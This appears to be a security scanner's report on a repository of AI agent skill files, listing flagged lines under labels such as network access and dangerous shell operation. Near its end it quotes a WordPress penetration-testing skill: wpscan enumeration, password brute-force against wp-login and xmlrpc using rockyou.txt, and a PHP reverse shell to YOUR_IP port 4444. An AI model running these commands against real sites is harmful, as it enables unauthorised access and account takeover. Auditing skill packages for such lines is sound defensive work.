2,Modern Professional,"Sans + Sans",Poppins,Open Sans,"modern, professional, clean, corporate, friendly, approachable","SaaS, corporate sites, business apps, startups, professional services","https://fonts.google.com/share?selection.family= - Network accessline 4
3,Tech Startup,"Sans + Sans",Space Grotesk,DM Sans,"tech, startup, modern, innovative, bold, futuristic","Tech companies, startups, SaaS, developer tools, AI products","https://fonts.google.com/share?selection.family=DM+Sans:wght@400;500;70 - Network accessline 5
4,Editorial Classic,"Serif + Serif",Cormorant Garamond,Libre Baskerville,"editorial, classic, literary, traditional, refined, bookish","Publishing, blogs, news sites, literary magazines, book covers","https://fonts.google.com/share?selectio - Network accessline 6
5,Minimal Swiss,"Sans + Sans",Inter,Inter,"minimal, clean, swiss, functional, neutral, professional","Dashboards, admin panels, documentation, enterprise apps, design systems","https://fonts.google.com/share?selection.family=Inter:wght@300; - Network accessline 7
6,Playful Creative,"Display + Sans",Fredoka,Nunito,"playful, friendly, fun, creative, warm, approachable","Children's apps, educational, gaming, creative tools, entertainment","https://fonts.google.com/share?selection.family=Fredoka:wght@40 - Network accessline 8
7,Bold Statement,"Display + Sans",Bebas Neue,Source Sans 3,"bold, impactful, strong, dramatic, modern, headlines","Marketing sites, portfolios, agencies, event pages, sports","https://fonts.google.com/share?selection.family=Bebas+Neue|Sourc - Network accessline 9
8,Wellness Calm,"Serif + Sans",Lora,Raleway,"calm, wellness, health, relaxing, natural, organic","Health apps, wellness, spa, meditation, yoga, organic brands","https://fonts.google.com/share?selection.family=Lora:wght@400;500;600;700|Ralew - Network accessline 10
9,Developer Mono,"Mono + Sans",JetBrains Mono,IBM Plex Sans,"code, developer, technical, precise, functional, hacker","Developer tools, documentation, code editors, tech blogs, CLI apps","https://fonts.google.com/share?selection.family=IBM+ - Network accessline 11
10,Retro Vintage,"Display + Serif",Abril Fatface,Merriweather,"retro, vintage, nostalgic, dramatic, decorative, bold","Vintage brands, breweries, restaurants, creative portfolios, posters","https://fonts.google.com/share?selection.family=Ab - Network accessline 12
11,Geometric Modern,"Sans + Sans",Outfit,Work Sans,"geometric, modern, clean, balanced, contemporary, versatile","General purpose, portfolios, agencies, modern brands, landing pages","https://fonts.google.com/share?selection.family=Outfit:w - Network accessline 13
12,Luxury Serif,"Serif + Sans",Cormorant,Montserrat,"luxury, high-end, fashion, elegant, refined, premium","Fashion brands, luxury e-commerce, jewelry, high-end services","https://fonts.google.com/share?selection.family=Cormorant:wght@400;5 - Network accessline 14
13,Friendly SaaS,"Sans + Sans",Plus Jakarta Sans,Plus Jakarta Sans,"friendly, modern, saas, clean, approachable, professional","SaaS products, web apps, dashboards, B2B, productivity tools","https://fonts.google.com/share?selection.family=P - Network accessline 15
14,News Editorial,"Serif + Sans",Newsreader,Roboto,"news, editorial, journalism, trustworthy, readable, informative","News sites, blogs, magazines, journalism, content-heavy sites","https://fonts.google.com/share?selection.family=Newsreader - Network accessline 16
15,Handwritten Charm,"Script + Sans",Caveat,Quicksand,"handwritten, personal, friendly, casual, warm, charming","Personal blogs, invitations, creative portfolios, lifestyle brands","https://fonts.google.com/share?selection.family=Caveat:wgh - Network accessline 17
16,Corporate Trust,"Sans + Sans",Lexend,Source Sans 3,"corporate, trustworthy, accessible, readable, professional, clean","Enterprise, government, healthcare, finance, accessibility-focused","https://fonts.google.com/share?selection.family= - Network accessline 18
17,Brutalist Raw,"Mono + Mono",Space Mono,Space Mono,"brutalist, raw, technical, monospace, minimal, stark","Brutalist designs, developer portfolios, experimental, tech art","https://fonts.google.com/share?selection.family=Space+Mono:wght@4 - Network accessline 19
18,Fashion Forward,"Sans + Sans",Syne,Manrope,"fashion, avant-garde, creative, bold, artistic, edgy","Fashion brands, creative agencies, art galleries, design studios","https://fonts.google.com/share?selection.family=Manrope:wght@300;400;50 - Network accessline 20
19,Soft Rounded,"Sans + Sans",Varela Round,Nunito Sans,"soft, rounded, friendly, approachable, warm, gentle","Children's products, pet apps, friendly brands, wellness, soft UI","https://fonts.google.com/share?selection.family=Nunito+Sans:wg - Network accessline 21
20,Premium Sans,"Sans + Sans",Satoshi,General Sans,"premium, modern, clean, sophisticated, versatile, balanced","Premium brands, modern agencies, SaaS, portfolios, startups","https://fonts.google.com/share?selection.family=DM+Sans:wght@400; - Network accessline 22
21,Vietnamese Friendly,"Sans + Sans",Be Vietnam Pro,Noto Sans,"vietnamese, international, readable, clean, multilingual, accessible","Vietnamese sites, multilingual apps, international products","https://fonts.google.com/share?selection.fam - Network accessline 23
22,Japanese Elegant,"Serif + Sans",Noto Serif JP,Noto Sans JP,"japanese, elegant, traditional, modern, multilingual, readable","Japanese sites, Japanese restaurants, cultural sites, anime/manga","https://fonts.google.com/share?selection.fam - Network accessline 24
23,Korean Modern,"Sans + Sans",Noto Sans KR,Noto Sans KR,"korean, modern, clean, professional, multilingual, readable","Korean sites, K-beauty, K-pop, Korean businesses, multilingual","https://fonts.google.com/share?selection.family=Noto+Sa - Network accessline 25
24,Chinese Traditional,"Serif + Sans",Noto Serif TC,Noto Sans TC,"chinese, traditional, elegant, cultural, multilingual, readable","Traditional Chinese sites, cultural content, Taiwan/Hong Kong markets","https://fonts.google.com/share?selec - Network accessline 26
25,Chinese Simplified,"Sans + Sans",Noto Sans SC,Noto Sans SC,"chinese, simplified, modern, professional, multilingual, readable","Simplified Chinese sites, mainland China market, business apps","https://fonts.google.com/share?selection.fam - Network accessline 27
26,Arabic Elegant,"Serif + Sans",Noto Naskh Arabic,Noto Sans Arabic,"arabic, elegant, traditional, cultural, RTL, readable","Arabic sites, Middle East market, Islamic content, bilingual sites","https://fonts.google.com/share?selection.famil - Network accessline 28
27,Thai Modern,"Sans + Sans",Noto Sans Thai,Noto Sans Thai,"thai, modern, readable, clean, multilingual, accessible","Thai sites, Southeast Asia, tourism, Thai restaurants","https://fonts.google.com/share?selection.family=Noto+Sans+Thai:wgh - Network accessline 29
28,Hebrew Modern,"Sans + Sans",Noto Sans Hebrew,Noto Sans Hebrew,"hebrew, modern, RTL, clean, professional, readable","Hebrew sites, Israeli market, Jewish content, bilingual sites","https://fonts.google.com/share?selection.family=Noto+Sans - Network accessline 30
29,Legal Professional,"Serif + Sans",EB Garamond,Lato,"legal, professional, traditional, trustworthy, formal, authoritative","Law firms, legal services, contracts, formal documents, government","https://fonts.google.com/share?selection.fami - Network accessline 31
30,Medical Clean,"Sans + Sans",Figtree,Noto Sans,"medical, clean, accessible, professional, healthcare, trustworthy","Healthcare, medical clinics, pharma, health apps, accessibility","https://fonts.google.com/share?selection.family=Figtree: - Network accessline 32
31,Financial Trust,"Sans + Sans",IBM Plex Sans,IBM Plex Sans,"financial, trustworthy, professional, corporate, banking, serious","Banks, finance, insurance, investment, fintech, enterprise","https://fonts.google.com/share?selection.family=I - Network accessline 33
32,Real Estate Luxury,"Serif + Sans",Cinzel,Josefin Sans,"real estate, luxury, elegant, sophisticated, property, premium","Real estate, luxury properties, architecture, interior design","https://fonts.google.com/share?selection.family=Cinze - Network accessline 34
33,Restaurant Menu,"Serif + Sans",Playfair Display SC,Karla,"restaurant, menu, culinary, elegant, foodie, hospitality","Restaurants, cafes, food blogs, culinary, hospitality","https://fonts.google.com/share?selection.family=Karla:wght@300;4 - Network accessline 35
34,Art Deco,"Display + Sans",Poiret One,Didact Gothic,"art deco, vintage, 1920s, elegant, decorative, gatsby","Vintage events, art deco themes, luxury hotels, classic cocktails","https://fonts.google.com/share?selection.family=Didact+Gothic - Network accessline 36
35,Magazine Style,"Serif + Sans",Libre Bodoni,Public Sans,"magazine, editorial, publishing, refined, journalism, print","Magazines, online publications, editorial content, journalism","https://fonts.google.com/share?selection.family=Libre+B - Network accessline 37
36,Crypto/Web3,"Sans + Sans",Orbitron,Exo 2,"crypto, web3, futuristic, tech, blockchain, digital","Crypto platforms, NFT, blockchain, web3, futuristic tech","https://fonts.google.com/share?selection.family=Exo+2:wght@300;400;500;600;700|Orb - Network accessline 38
37,Gaming Bold,"Display + Sans",Russo One,Chakra Petch,"gaming, bold, action, esports, competitive, energetic","Gaming, esports, action games, competitive sports, entertainment","https://fonts.google.com/share?selection.family=Chakra+Petch: - Network accessline 39
38,Indie/Craft,"Display + Sans",Amatic SC,Cabin,"indie, craft, handmade, artisan, organic, creative","Craft brands, indie products, artisan, handmade, organic products","https://fonts.google.com/share?selection.family=Amatic+SC:wght@400;700 - Network accessline 40
39,Startup Bold,"Sans + Sans",Clash Display,Satoshi,"startup, bold, modern, innovative, confident, dynamic","Startups, pitch decks, product launches, bold brands","https://fonts.google.com/share?selection.family=Outfit:wght@400;500;600;700| - Network accessline 41
40,E-commerce Clean,"Sans + Sans",Rubik,Nunito Sans,"ecommerce, clean, shopping, product, retail, conversion","E-commerce, online stores, product pages, retail, shopping","https://fonts.google.com/share?selection.family=Nunito+Sans:wght@300 - Network accessline 42
41,Academic/Research,"Serif + Sans",Crimson Pro,Atkinson Hyperlegible,"academic, research, scholarly, accessible, readable, educational","Universities, research papers, academic journals, educational","https://fonts.google.com/share?selecti - Network accessline 43
42,Dashboard Data,"Mono + Sans",Fira Code,Fira Sans,"dashboard, data, analytics, code, technical, precise","Dashboards, analytics, data visualization, admin panels","https://fonts.google.com/share?selection.family=Fira+Code:wght@400;500;600 - Network accessline 44
43,Music/Entertainment,"Display + Sans",Righteous,Poppins,"music, entertainment, fun, energetic, bold, performance","Music platforms, entertainment, events, festivals, performers","https://fonts.google.com/share?selection.family=Poppins:wgh - Network accessline 45
44,Minimalist Portfolio,"Sans + Sans",Archivo,Space Grotesk,"minimal, portfolio, designer, creative, clean, artistic","Design portfolios, creative professionals, minimalist brands","https://fonts.google.com/share?selection.family=Archivo:wg - Network accessline 46
45,Kids/Education,"Display + Sans",Baloo 2,Comic Neue,"kids, education, playful, friendly, colorful, learning","Children's apps, educational games, kid-friendly content","https://fonts.google.com/share?selection.family=Baloo+2:wght@400;500; - Network accessline 47
46,Wedding/Romance,"Script + Serif",Great Vibes,Cormorant Infant,"wedding, romance, elegant, script, invitation, feminine","Wedding sites, invitations, romantic brands, bridal","https://fonts.google.com/share?selection.family=Cormorant+Infa - Network accessline 48
47,Science/Tech,"Sans + Sans",Exo,Roboto Mono,"science, technology, research, data, futuristic, precise","Science, research, tech documentation, data-heavy sites","https://fonts.google.com/share?selection.family=Exo:wght@300;400;500;600;700 - Network accessline 49
48,Accessibility First,"Sans + Sans",Atkinson Hyperlegible,Atkinson Hyperlegible,"accessible, readable, inclusive, WCAG, dyslexia-friendly, clear","Accessibility-critical sites, government, healthcare, inclusive design","https://fonts.googl - Network accessline 50
49,Sports/Fitness,"Sans + Sans",Barlow Condensed,Barlow,"sports, fitness, athletic, energetic, condensed, action","Sports, fitness, gyms, athletic brands, competition","https://fonts.google.com/share?selection.family=Barlow+Condensed:wght@4 - Network accessline 51
50,Luxury Minimalist,"Serif + Sans",Bodoni Moda,Jost,"luxury, minimalist, high-end, sophisticated, refined, premium","Luxury minimalist brands, high-end fashion, premium products","https://fonts.google.com/share?selection.family=Bodoni+Moda - Network accessline 52
51,Tech/HUD Mono,"Mono + Mono",Share Tech Mono,Fira Code,"tech, futuristic, hud, sci-fi, data, monospaced, precise","Sci-fi interfaces, developer tools, cybersecurity, dashboards","https://fonts.google.com/share?selection.family=Fira+Code:w - Network accessline 53
52,Pixel Retro,"Display + Sans",Press Start 2P,VT323,"pixel, retro, gaming, 8-bit, nostalgic, arcade","Pixel art games, retro websites, creative portfolios","https://fonts.google.com/share?selection.family=Press+Start+2P|VT323","@import url - Network accessline 54
53,Neubrutalist Bold,"Display + Sans",Lexend Mega,Public Sans,"bold, neubrutalist, loud, strong, geometric, quirky","Neubrutalist designs, Gen Z brands, bold marketing","https://fonts.google.com/share?selection.family=Lexend+Mega:wght@100.. - Network accessline 55
54,Academic/Archival,"Serif + Serif",EB Garamond,Crimson Text,"academic, old-school, university, research, serious, traditional","University sites, archives, research papers, history","https://fonts.google.com/share?selection.family=Crimson - Network accessline 56
55,Spatial Clear,"Sans + Sans",Inter,Inter,"spatial, legible, glass, system, clean, neutral","Spatial computing, AR/VR, glassmorphism interfaces","https://fonts.google.com/share?selection.family=Inter:wght@300;400;500;600","@import url('htt - Network accessline 57
56,Kinetic Motion,"Display + Mono",Syncopate,Space Mono,"kinetic, motion, futuristic, speed, wide, tech","Music festivals, automotive, high-energy brands","https://fonts.google.com/share?selection.family=Space+Mono:wght@400;700|Syncopate:wg - Network accessline 58
57,Gen Z Brutal,"Display + Sans",Anton,Epilogue,"brutal, loud, shouty, meme, internet, bold","Gen Z marketing, streetwear, viral campaigns","https://fonts.google.com/share?selection.family=Anton|Epilogue:wght@400;500;600;700","@import url('
skills/ui-ux-pro-max/data/web-interface.csv
- Network accessline 18
17,Performance,Avoid Layout Reads,layout read render getboundingclientrect,Web,Avoid layout reads during render phase,Read layout in effects or callbacks,getBoundingClientRect in render,"useEffect(() => { el.getBoundingClientRect() })","con - Network accessline 19
18,Performance,Batch DOM Operations,batch dom write read,Web,Group DOM operations to minimize reflows,Batch writes then reads,Interleave reads and writes,"writes.forEach(w => w()); reads.forEach(r => r())","write(); read(); write(); read(); - Network accessline 20
19,Performance,Preconnect CDN,preconnect link cdn,Web,Add preconnect links for CDN domains,Preconnect to known domains,"<link rel='preconnect' href='https://cdn.example.com' />","// no preconnect hint",Low
skills/ui-ux-pro-max/scripts/core.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/ui-ux-pro-max/scripts/design_system.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/ui-ux-pro-max/scripts/search.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/unity-ecs-patterns/resources/implementation-playbook.md
- Network accessline 623
- [Unity DOTS Documentation](https://docs.unity3d.com/Packages/com.unity.entities@latest) - Network accessline 624
- [Unity DOTS Samples](https://github.com/Unity-Technologies/EntityComponentSystemSamples) - Network accessline 625
- [Burst User Guide](https://docs.unity3d.com/Packages/com.unity.burst@latest)
skills/upgrading-expo/SKILL.md
- Network accessline 2
name: upgrading-expo description: "Upgrade Expo SDK versions" source: "https://github.com/expo/skills/tree/main/plugins/upgrading-expo" - Network accessline 3
description: "Upgrade Expo SDK versions" source: "https://github.com/expo/skills/tree/main/plugins/upgrading-expo" risk: safe - Network accessline 4
source: "https://github.com/expo/skills/tree/main/plugins/upgrading-expo" - Network accessline 118
For more information, see the [source repository](https://github.com/expo/skills/tree/main/plugins/upgrading-expo).
skills/using-neon/SKILL.md
- Network accessline 2
name: using-neon description: "Guides and best practices for working with Neon Serverless Postgres. Covers getting started, local development with Neon, choosing a connection method, Neon features, authentication (@neondatabase/..." source: - Network accessline 3
description: "Guides and best practices for working with Neon Serverless Postgres. Covers getting started, local development with Neon, choosing a connection method, Neon features, authentication (@neondatabase/..." source: "https://github. - Network accessline 4
source: "https://github.com/neondatabase/agent-skills/tree/main/skills/neon-postgres" - Network accessline 33
# Get list of all Neon docs curl https://neon.com/llms.txt - Network accessline 34
curl https://neon.com/llms.txt - Network accessline 36
# Fetch any doc page as markdown curl -H "Accept: text/markdown" https://neon.com/docs/<path> - Network accessline 37
curl -H "Accept: text/markdown" https://neon.com/docs/<path>
skills/uv-package-manager/resources/implementation-playbook.md
- Network accessline 53
# macOS/Linux curl -LsSf https://astral.sh/uv/install.sh | sh - Dangerous shell operationline 54
curl -LsSf https://astral.sh/uv/install.sh | sh - Network accessline 54
curl -LsSf https://astral.sh/uv/install.sh | sh - Network accessline 56
# Windows (PowerShell) powershell -c "irm https://astral.sh/uv/install.ps1 | iex" - Network accessline 57
powershell -c "irm https://astral.sh/uv/install.ps1 | iex" - Network accessline 65
# Using cargo (if you have Rust) cargo install --git https://github.com/astral-sh/uv uv - Network accessline 66
cargo install --git https://github.com/astral-sh/uv uv - Network accessline 186
# Add from git uv add git+https://github.com/user/repo.git - Network accessline 187
uv add git+https://github.com/user/repo.git - Network accessline 189
# Add from git with specific ref uv add git+https://github.com/user/repo.git@v1.0.0 - Network accessline 190
uv add git+https://github.com/user/repo.git@v1.0.0 - Network accessline 319
[tool.uv.sources] # Custom package sources my-package = { git = "https://github.com/user/repo.git" } - Network accessline 321
my-package = { git = "https://github.com/user/repo.git" } - Network accessline 599
# Clone repository git clone https://github.com/user/project.git - Network accessline 600
git clone https://github.com/user/project.git - Network accessline 813
- **Official documentation**: https://docs.astral.sh/uv/ - Network accessline 814
- **GitHub repository**: https://github.com/astral-sh/uv - Network accessline 815
- **Astral blog**: https://astral.sh/blog - Network accessline 816
- **Migration guides**: https://docs.astral.sh/uv/guides/ - Network accessline 817
- **Comparison with other tools**: https://docs.astral.sh/uv/pip/compatibility/
skills/varlock-claude-skill/SKILL.md
- Network accessline 2
name: varlock-claude-skill description: "Secure environment variable management ensuring secrets are never exposed in Claude sessions, terminals, logs, or git commits" source: "https://github.com/wrsmith108/varlock-claude-skill" - Network accessline 3
description: "Secure environment variable management ensuring secrets are never exposed in Claude sessions, terminals, logs, or git commits" source: "https://github.com/wrsmith108/varlock-claude-skill" risk: safe - Network accessline 4
source: "https://github.com/wrsmith108/varlock-claude-skill" - Network accessline 22
For more information, see the [source repository](https://github.com/wrsmith108/varlock-claude-skill).
skills/vector-index-tuning/resources/implementation-playbook.md
skills/vercel-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/vercel-deploy-claimable/SKILL.md
- Network accessline 2
name: vercel-deploy-claimable description: "Deploy applications and websites to Vercel. Use this skill when the user requests deployment actions such as 'Deploy my app', 'Deploy this to production', 'Create a preview deployment', 'Deploy an - Network accessline 3
description: "Deploy applications and websites to Vercel. Use this skill when the user requests deployment actions such as 'Deploy my app', 'Deploy this to production', 'Create a preview deployment', 'Deploy and..." source: "https://github. - Network accessline 4
source: "https://github.com/vercel-labs/agent-skills/tree/main/skills/claude.ai/vercel-deploy-claimable" - Network accessline 61
Preview URL: https://skill-deploy-abc123.vercel.app - Network accessline 62
Claim URL: https://vercel.com/claim-deployment?code=... - Network accessline 68
{ "previewUrl": "https://skill-deploy-abc123.vercel.app", - Network accessline 69
"previewUrl": "https://skill-deploy-abc123.vercel.app", - Network accessline 70
"claimUrl": "https://vercel.com/claim-deployment?code=...", - Network accessline 104
Preview URL: https://skill-deploy-abc123.vercel.app - Network accessline 105
Claim URL: https://vercel.com/claim-deployment?code=... - Network accessline 120
1. Go to https://claude.ai/settings/capabilities
skills/vexor/SKILL.md
- Network accessline 2
name: vexor description: "Vector-powered CLI for semantic file search with a Claude/Codex skill" source: "https://github.com/scarletkc/vexor" - Network accessline 3
description: "Vector-powered CLI for semantic file search with a Claude/Codex skill" source: "https://github.com/scarletkc/vexor" risk: safe - Network accessline 4
source: "https://github.com/scarletkc/vexor" - Network accessline 22
For more information, see the [source repository](https://github.com/scarletkc/vexor).
skills/voice-ai-development/SKILL.md
skills/voice-ai-engine-development/README.md
skills/voice-ai-engine-development/examples/complete_voice_engine.py
- Executable scriptline 1
Executable file
skills/voice-ai-engine-development/examples/gemini_agent_example.py
- Executable scriptline 1
Executable file
skills/voice-ai-engine-development/examples/interrupt_system_example.py
- Executable scriptline 1
Executable file
skills/voice-ai-engine-development/templates/base_worker_template.py
- Executable scriptline 1
Executable file
skills/voice-ai-engine-development/templates/multi_provider_factory_template.py
skills/vulnerability-scanner/SKILL.md
skills/vulnerability-scanner/checklists.md
skills/vulnerability-scanner/scripts/security_scan.py
skills/wcag-audit-patterns/resources/implementation-playbook.md
- Network accessline 438
# CLI tools npx @axe-core/cli https://example.com - Network accessline 439
npx @axe-core/cli https://example.com - Network accessline 440
npx pa11y https://example.com - Network accessline 441
lighthouse https://example.com --only-categories=accessibility - Network accessline 538
- [WCAG 2.2 Guidelines](https://www.w3.org/TR/WCAG22/) - Network accessline 539
- [WebAIM](https://webaim.org/) - Network accessline 540
- [A11y Project Checklist](https://www.a11yproject.com/checklist/) - Network accessline 541
- [axe DevTools](https://www.deque.com/axe/)
skills/web-artifacts-builder/LICENSE.txt
skills/web-artifacts-builder/SKILL.md
- Network accessline 76
- **shadcn/ui components**: https://ui.shadcn.com/docs/components
skills/web-artifacts-builder/scripts/bundle-artifact.sh
skills/web-artifacts-builder/scripts/init-artifact.sh
skills/web-design-guidelines/SKILL.md
- Network accessline 25
https://raw.githubusercontent.com/vercel-labs/web-interface-guidelines/main/command.md
skills/web-performance-optimization/SKILL.md
- Network accessline 314
\`\`\`html <!-- Before: Loads immediately --> <script src="https://analytics.com/script.js"></script> - Network accessline 316
<script src="https://analytics.com/script.js"></script> - Network accessline 320
window.addEventListener('load', () => { const script = document.createElement('script'); script.src = 'https://analytics.com/script.js'; - Network accessline 321
const script = document.createElement('script'); script.src = 'https://analytics.com/script.js'; script.async = true; - Network accessline 322
script.src = 'https://analytics.com/script.js'; - Network accessline 522
# Test with throttling lighthouse https://yoursite.com --throttling.cpuSlowdownMultiplier=4 - Network accessline 523
lighthouse https://yoursite.com --throttling.cpuSlowdownMultiplier=4 - Network accessline 639
- [Web.dev Performance](https://web.dev/performance/) - Network accessline 640
- [Core Web Vitals](https://web.dev/vitals/) - Network accessline 641
- [Lighthouse Documentation](https://developers.google.com/web/tools/lighthouse) - Network accessline 642
- [MDN Performance Guide](https://developer.mozilla.org/en-US/docs/Web/Performance) - Network accessline 643
- [Next.js Performance](https://nextjs.org/docs/advanced-features/measuring-performance) - Network accessline 644
- [Image Optimization Guide](https://web.dev/fast/#optimize-your-images)
skills/web3-testing/SKILL.md
- Access to secretsline 62
[Credential-related source omitted] - Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 71
[Credential-related source omitted] - Network accessline 228
// Mainnet fork test function testForkMainnet() public { vm.createSelectFork("https://eth-mainnet.alchemyapi.io/v2/..."); - Network accessline 230
vm.createSelectFork("https://eth-mainnet.alchemyapi.io/v2/...");
skills/webapp-testing/LICENSE.txt
skills/webapp-testing/SKILL.md
- Network accessline 59
browser = p.chromium.launch(headless=True) # Always launch chromium in headless mode page = browser.new_page() page.goto('http://localhost:5173') # Server already running and ready - Network accessline 60
page = browser.new_page() page.goto('http://localhost:5173') # Server already running and ready page.wait_for_load_state('networkidle') # CRITICAL: Wait for JS to execute - Network accessline 61
page.goto('http://localhost:5173') # Server already running and ready
skills/webapp-testing/scripts/with_server.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 26
while time.time() - start_time < timeout: try: with socket.create_connection(('localhost', port), timeout=1): - Network accessline 27
try: with socket.create_connection(('localhost', port), timeout=1): return True - Network accessline 28
with socket.create_connection(('localhost', port), timeout=1):
skills/webflow-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/whatsapp-automation/SKILL.md
- Network accessline 23
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/wordpress-penetration-testing/SKILL.md
- Network accessline 22
- Burp Suite or OWASP ZAP - Nmap for initial discovery - cURL or wget - Network accessline 24
- cURL or wget - Network accessline 46
# Check for WordPress indicators curl -s http://target.com | grep -i wordpress - Network accessline 47
curl -s http://target.com | grep -i wordpress - Network accessline 48
curl -s http://target.com | grep -i "wp-content" - Network accessline 49
curl -s http://target.com | grep -i "wp-includes" - Network accessline 51
# Check common WordPress paths curl -I http://target.com/wp-login.php - Network accessline 52
curl -I http://target.com/wp-login.php - Network accessline 53
curl -I http://target.com/wp-admin/ - Network accessline 54
curl -I http://target.com/wp-content/ - Network accessline 55
curl -I http://target.com/xmlrpc.php - Network accessline 57
# Check meta generator tag curl -s http://target.com | grep "generator" - Network accessline 58
curl -s http://target.com | grep "generator" - Network accessline 78
# Basic scan wpscan --url http://target.com/wordpress/ - Network accessline 79
wpscan --url http://target.com/wordpress/ - Network accessline 81
# With API token (for vulnerability data) wpscan --url http://target.com --api-token YOUR_API_TOKEN - Network accessline 82
wpscan --url http://target.com --api-token YOUR_API_TOKEN - Network accessline 84
# Aggressive detection mode wpscan --url http://target.com --detection-mode aggressive - Network accessline 85
wpscan --url http://target.com --detection-mode aggressive - Network accessline 87
# Output to file wpscan --url http://target.com -o results.txt - Network accessline 88
wpscan --url http://target.com -o results.txt - Network accessline 90
# JSON output wpscan --url http://target.com -f json -o results.json - Network accessline 91
wpscan --url http://target.com -f json -o results.json - Network accessline 93
# Verbose output wpscan --url http://target.com -v - Network accessline 94
wpscan --url http://target.com -v - Network accessline 102
# WPScan version detection wpscan --url http://target.com - Network accessline 103
wpscan --url http://target.com - Network accessline 105
# Manual version checks curl -s http://target.com/readme.html | grep -i version - Network accessline 106
curl -s http://target.com/readme.html | grep -i version - Network accessline 107
curl -s http://target.com/feed/ | grep -i generator - Network accessline 108
curl -s http://target.com | grep "?ver=" - Network accessline 110
# Check meta generator curl -s http://target.com | grep 'name="generator"' - Network accessline 111
curl -s http://target.com | grep 'name="generator"' - Network accessline 113
# Check RSS feeds curl -s http://target.com/feed/ - Network accessline 114
curl -s http://target.com/feed/ - Network accessline 115
curl -s http://target.com/comments/feed/ - Network accessline 129
# Enumerate all themes wpscan --url http://target.com -e at - Network accessline 130
wpscan --url http://target.com -e at - Network accessline 132
# Enumerate vulnerable themes only wpscan --url http://target.com -e vt - Network accessline 133
wpscan --url http://target.com -e vt - Network accessline 135
# Theme enumeration with detection mode wpscan --url http://target.com -e at --plugins-detection aggressive - Network accessline 136
wpscan --url http://target.com -e at --plugins-detection aggressive - Network accessline 138
# Manual theme detection curl -s http://target.com | grep "wp-content/themes/" - Network accessline 139
curl -s http://target.com | grep "wp-content/themes/" - Network accessline 140
curl -s http://target.com/wp-content/themes/ - Network accessline 148
# Check theme version curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version - Network accessline 149
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version - Network accessline 150
curl -s http://target.com/wp-content/themes/<theme>/readme.txt - Network accessline 158
# Enumerate all plugins wpscan --url http://target.com -e ap - Network accessline 159
wpscan --url http://target.com -e ap - Network accessline 161
# Enumerate vulnerable plugins only wpscan --url http://target.com -e vp - Network accessline 162
wpscan --url http://target.com -e vp - Network accessline 164
# Aggressive plugin detection wpscan --url http://target.com -e ap --plugins-detection aggressive - Network accessline 165
wpscan --url http://target.com -e ap --plugins-detection aggressive - Network accessline 167
# Mixed detection mode wpscan --url http://target.com -e ap --plugins-detection mixed - Network accessline 168
wpscan --url http://target.com -e ap --plugins-detection mixed - Network accessline 170
# Manual plugin discovery curl -s http://target.com | grep "wp-content/plugins/" - Network accessline 171
curl -s http://target.com | grep "wp-content/plugins/" - Network accessline 172
curl -s http://target.com/wp-content/plugins/ - Network accessline 183
# Check plugin version curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt - Network accessline 184
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt - Network accessline 192
# WPScan user enumeration wpscan --url http://target.com -e u - Network accessline 193
wpscan --url http://target.com -e u - Network accessline 195
# Enumerate specific number of users wpscan --url http://target.com -e u1-100 - Network accessline 196
wpscan --url http://target.com -e u1-100 - Network accessline 198
# Author ID enumeration (manual) for i in {1..20}; do curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/' - Network accessline 199
for i in {1..20}; do curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/' done - Network accessline 200
curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/' - Network accessline 203
# JSON API user enumeration (if enabled) curl -s http://target.com/wp-json/wp/v2/users - Network accessline 204
curl -s http://target.com/wp-json/wp/v2/users - Network accessline 206
# REST API user enumeration curl -s http://target.com/wp-json/wp/v2/users?per_page=100 - Network accessline 207
curl -s http://target.com/wp-json/wp/v2/users?per_page=100 - Network accessline 209
# Login error enumeration curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php - Network accessline 210
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php - Network accessline 218
# Enumerate everything wpscan --url http://target.com -e at -e ap -e u - Network accessline 219
wpscan --url http://target.com -e at -e ap -e u - Network accessline 221
# Alternative comprehensive scan wpscan --url http://target.com -e vp,vt,u,cb,dbe - Network accessline 222
wpscan --url http://target.com -e vp,vt,u,cb,dbe - Network accessline 233
# Full aggressive enumeration wpscan --url http://target.com -e at,ap,u,cb,dbe \ - Network accessline 234
wpscan --url http://target.com -e at,ap,u,cb,dbe \ - Network accessline 244
# Single user brute-force wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt - Network accessline 245
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt - Network accessline 247
# Multiple users from file wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt - Network accessline 248
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt - Network accessline 250
# With password attack threads wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50 - Network accessline 251
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50 - Network accessline 253
# XML-RPC brute-force (faster, may bypass protection) wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc - Network accessline 254
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc - Network accessline 256
# Brute-force with API limiting wpscan --url http://target.com -U admin -P passwords.txt --throttle 500 - Network accessline 257
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500 - Network accessline 259
# Create targeted wordlist cewl http://target.com -w wordlist.txt - Network accessline 260
cewl http://target.com -w wordlist.txt - Network accessline 261
wpscan --url http://target.com -U admin -P wordlist.txt - Network accessline 314
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"); - Dangerous shell operationline 315
